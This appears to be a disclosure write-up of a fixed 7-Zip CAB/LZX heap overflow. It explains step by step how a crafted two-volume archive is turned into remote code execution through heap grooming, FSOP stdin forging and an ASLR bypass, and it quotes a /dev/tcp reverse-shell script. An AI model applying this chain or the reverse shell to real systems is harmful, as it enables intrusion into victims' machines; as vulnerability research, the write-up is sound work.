7-Zip Cabinet Window Desync: From Heap OOB Write to Remote Code Execution
A crafted multi-volume CAB archive achieves remote code execution through 7-Zip's LZX decoder — no user interaction beyond extraction.
Affected: 7-Zip ≤ 26.05
Severity: Critical — single-archive RCE, no user interaction beyond extraction
Tested on: Linux x86-64 (Arch Linux, glibc 2.44)
Status: Fixed in 7-Zip 26.06
Extracting a .cab file should be boring. It’s a 30-year-old Microsoft archive format — the kind of thing your system handles ten times before breakfast without anyone noticing.
But what if someone changes the window size mid-stream?
A logic flaw in 7-Zip’s LZX decoder allows a crafted multi-volume CAB archive to write 1.3 MB past a 32 KB buffer, corrupt a file stream object’s vtable, and chain into system() through glibc’s FILE stream internals. The result: a reverse shell. No clicks, no macros — just 7z x v1.cab.
The Demo
7-Zip 26.04 — remote reverse shell, ASLR on:
7-Zip 26.05 — remote reverse shell, ASLR on:
Threat Model
The attack surface is simple: deliver two files — v1.cab and v2.cab — to the victim via email, file share, USB, or any other channel. When the victim extracts v1.cab with 7-Zip (7z x v1.cab), the decoder automatically opens v2.cab as the continuation volume. No additional interaction is required. The attacker, listening on a pre-configured port, receives a reverse shell.
CAB in 30 Seconds
Microsoft Cabinet (.cab) archives date back to Windows 95. They still ship everywhere — Windows Updates, driver packages, Office installers. 7-Zip handles them natively.
A CAB archive can span multiple volumes (v1.cab, v2.cab, …). Each volume contains folders, and each folder specifies a compression codec. The interesting one for us: LZX, Microsoft’s Lempel-Ziv variant.
LZX takes a key parameter: the window size. It supports windows from 32 KB (bits=15) to 2 MB (bits=21). The decoder allocates a buffer of exactly this size and writes decompressed data into it, tracking progress with a position counter called _pos.
When a multi-volume archive continues in the next cabinet, the decoder is told to keep its history — _keepHistory = true. This means: don’t reset your state, we’re picking up where we left off.
Unless someone changes the rules mid-stream.
The Bug
Here’s the continuation logic in LzxDecoder.cpp, function Code_WithExceedReadWrite():
1
2
3
4
5
6
7
8
9
10
// LzxDecoder.cpp:1446-1454
if (!_keepHistory)
{
_pos = 0; // Fresh start: always reset
}
else if (_pos == _winSize)
{
_pos = 0; // Continuation: only reset at window boundary
_overDict = true;
}
When _keepHistory is false (fresh extraction), _pos is always zeroed. When _keepHistory is true (continuation from previous volume), _pos is only reset if it exactly equals _winSize.
Seems fine. But what happens when the window size changes between volumes?
Set_DictBits_and_Alloc() handles the resize:
1
2
3
4
5
6
7
8
9
// LzxDecoder.cpp:1496-1513
if (!_win || newWinSize != _winSize)
{
z7_AlignedFree(_win);
_winSize = 0;
_win = (Byte *)z7_AlignedAlloc(newWinSize + k_OutBufSize_Add);
// ...
}
_winSize = newWinSize;
The old buffer is freed. A new, smaller buffer is allocated. _winSize is updated. But _pos — accumulated across prior CFDATA blocks using the old, much larger window — keeps its stale value.
_pos retains its value from the 2 MB window era, now pointing 1.3 MB past the end of a 32 KB buffer.
The bounds check that follows seals the deal:
1
2
3
// LzxDecoder.cpp:1463-1464
if (outSize > _winSize - _pos)
return S_FALSE;
With _pos = 0x14A420 and _winSize = 0x8000, the subtraction computes 0x8000 - 0x14A420. Both are unsigned. The result wraps to a massive value. The check passes.
The decoder writes at _win[_pos] — offset 0x14A420 past the start of a 32 KB buffer. That’s a controlled, out-of-bounds heap write.
The Exploit
End-to-end exploit chain: from crafted CAB archive to reverse shell in five phases.
Step 1: Lay the Groundwork
The crafted v1.cab contains 6 folders, each with a specific job:
| Folder | Codec | Window | Purpose |
|---|---|---|---|
| F0 | LZX:21 | 2 MB | Start advancing _pos |
| F1 | LZX:21 | 2 MB | Heap grooming — ~8192 pad files fill tcache bins |
| F2 | None | — | Drop the reverse shell script r to disk |
| F3 | LZX:21 | 2 MB | Advance _pos to target offset 0x14A420 |
| F4 | LZX:15 | 32 KB | Empty folder — triggers the window shrink |
| F5 | LZX:21 | — | (in v2.cab) Payload decoded at stale _pos → OOB |
F1 creates thousands of small files to fill tcache bins and push heap allocations into predictable positions. This is standard heap grooming — make the allocator hand us a layout we can work with.
F2 extracts the file r — a shell script containing the reverse shell payload:
1
2
#!/bin/sh
exec /bin/sh -i <>/dev/tcp/LHOST/LPORT >&0 2>&0
This file lands on disk before the OOB fires. When system("sh r") executes later, it’s already waiting.
Step 2: Shrink the Window
F3 advances _pos to exactly 0x14A420 using the 2 MB LZX window. Then F4 arrives — an empty folder with LZX:15 (32 KB window).
7-Zip frees the 2 MB buffer and allocates a 32 KB one. _winSize updates to 0x8000. But _pos stays at 0x14A420.
The state is now desynchronized. v1.cab ends here and tells the decoder: “continued in next cabinet → v2.cab”.
Step 3: Write Past the Edge
7-Zip opens v2.cab, finds a single CFDATA block (462 bytes), and hands it to the LZX decoder. The decoder writes at _win + _pos = _win + 0x14A420.
That’s 1.3 MB past the end of a 32 KB buffer. Where does it land?
The OOB write at
_win + 0x14A420 lands squarely on COutFileStream.
The heap grooming from Step 1 ensures that a COutFileStream object sits at exactly the right distance from _win. This object has a vtable, _IO_write_ptr, and FILE-like fields. The OOB payload overwrites all of them.
Step 4: Hijack the Stream
The payload rewrites COutFileStream’s vtable pointer to:
1
_IO_file_jumps + 0x20
This is a valid glibc FILE vtable, shifted by 0x20. When 7-Zip next calls COutFileStream::Write() (COM vtable slot at offset +0x18), the dispatch resolves to:
1
vtable[3] = *(_IO_file_jumps + 0x20 + 0x18) = _IO_file_xsputn
Now xsputn treats COutFileStream as a FILE* and does a memcpy from the caller’s data buffer to _IO_write_ptr.
The payload also set _IO_write_ptr to point at _IO_2_1_stdin_ in libc’s BSS. So xsputn copies the attacker’s data directly over the real stdin FILE structure.
At this point, we own stdin.
Step 5: Forge stdin — House of Apple 2
The forged stdin is carefully crafted for the House of Apple 2 technique:
| stdin field | Value | Purpose |
|---|---|---|
_flags | " sh r\0" | Command string for system() (low bits clear UNBUFFERED/NO_WRITES) |
_IO_write_ptr | > _IO_write_base | Triggers _IO_OVERFLOW during flush |
_mode | > 0 | Selects the wide-character code path |
_wide_data | stdin + 0xA8 | Points to forged wide data (self-referencing) |
_vtable | _IO_wfile_jumps | Wide file vtable |
_flags2 | 0x20 (_IO_FLAGS2_NOCLOSE) | Prevents close() on stdin fd → avoids SIGABRT |
_lock | _IO_stdfile_0_lock | Valid lock pointer (prevents deadlock) |
The _flags field does double duty — its bytes encode " sh r\0" while also having the right bit pattern to pass glibc’s internal checks. Two leading spaces keep the bits clean; sh treats them as harmless whitespace.
When 7-Zip exits (normally or via error), glibc’s cleanup runs:
The full chain from
exit() to system("sh r").
The self-referencing _wide_data is the key trick: it points back into the forged stdin at offset 0xA8, where the exploit places a fake _wide_vtable whose __doallocate slot resolves to system(). When _IO_wdoallocbuf calls __doallocate, it’s really calling system(" sh r").
The r script from Step 1 is already on disk. The shell connects back.
The payload also preserves malloc chunk headers at known offsets within the overwritten region — alternating
0x31and0x81size fields corresponding to the heap’s allocation pattern. This preventsfree()from detecting corruption before the FSOP chain fires.
Step 6: Beat ASLR Without a Leak
The FSOP payload is full of absolute libc addresses — system(), _IO_file_jumps, _IO_2_1_stdin_, etc. Under ASLR, these are randomized. How do we know them without an information leak?
We don’t need one. The heap already has what we need.
Assembling an 8-byte libc address from three sources: known offset, guessed byte, and arena pointer data.
At _win + 0x8030, there’s a free chunk whose fd pointer points into main_arena — which lives in libc’s BSS. Bytes 3–7 of that pointer are the same high bytes shared by any libc_base + offset address.
LZX supports match instructions: “copy N bytes from offset D in the previously decoded data.” The arena pointer is visible in the OOB window as existing heap data. For each libc address in the payload, the exploit encodes:
- Bytes 0–1: Literal — the known low 2 bytes of the target offset
- Byte 2: Literal — the guessed byte (3-bit ASLR entropy)
- Bytes 3–7: LZX match copying 5 bytes from the arena pointer
The match instruction copies the correct high bytes directly from the heap. No leak primitive needed.
Byte 2 has 3 bits of entropy on this platform — 8 possible values. The exploit generates 8 variants. Each has a 12.5% theoretical success rate. In practice, the 0x80 variant hits around 30% of the time, suggesting the actual entropy is lower than 3 bits.
A miss doesn’t crash — 7-Zip simply exits with an extraction error. Retry is free.
Why not just leak? There is a separate OOB read primitive in the same code path that could defeat ASLR with 100% reliability. However, exploiting it would require a helper script to receive the leaked addresses and rewrite the payload at runtime — and there is no convenient side channel within the extraction flow to pass the leak back. The result would be a functional but inelegant chain that trades simplicity for reliability. The arena pointer splice avoids this entirely: no leak, no rewrite, no extra script — just the data that’s already on the heap.
Results
| Mode | Success Rate | Notes |
|---|---|---|
| ASLR off | 5/5 (100%) | setarch -R disables ASLR |
| ASLR on | 19/64 (~30%) | Single byte2 variant; theoretical 12.5% |
Tested on: Arch Linux x86-64, glibc 2.44, 7-Zip 26.04 and 26.05.
The exploit requires calibration for specific glibc versions and heap layouts. The heap offsets depend on:
| Component | Why it matters |
|---|---|
| 7-Zip version | Allocation order, heap layout |
| glibc version | Symbol offsets, FSOP internals |
| Kernel | ASLR base, mmap layout |
| Archive name | Heap shift from path string allocation |
| Embed size | COutFileStream positioning |
Changing any of these shifts the heap enough to require recalibration — but the vulnerability and the technique remain the same.
This research was assisted by Claude Opus 5 using Claude Code.
Thanks for reading. If you have questions or want to discuss, feel free to reach out.
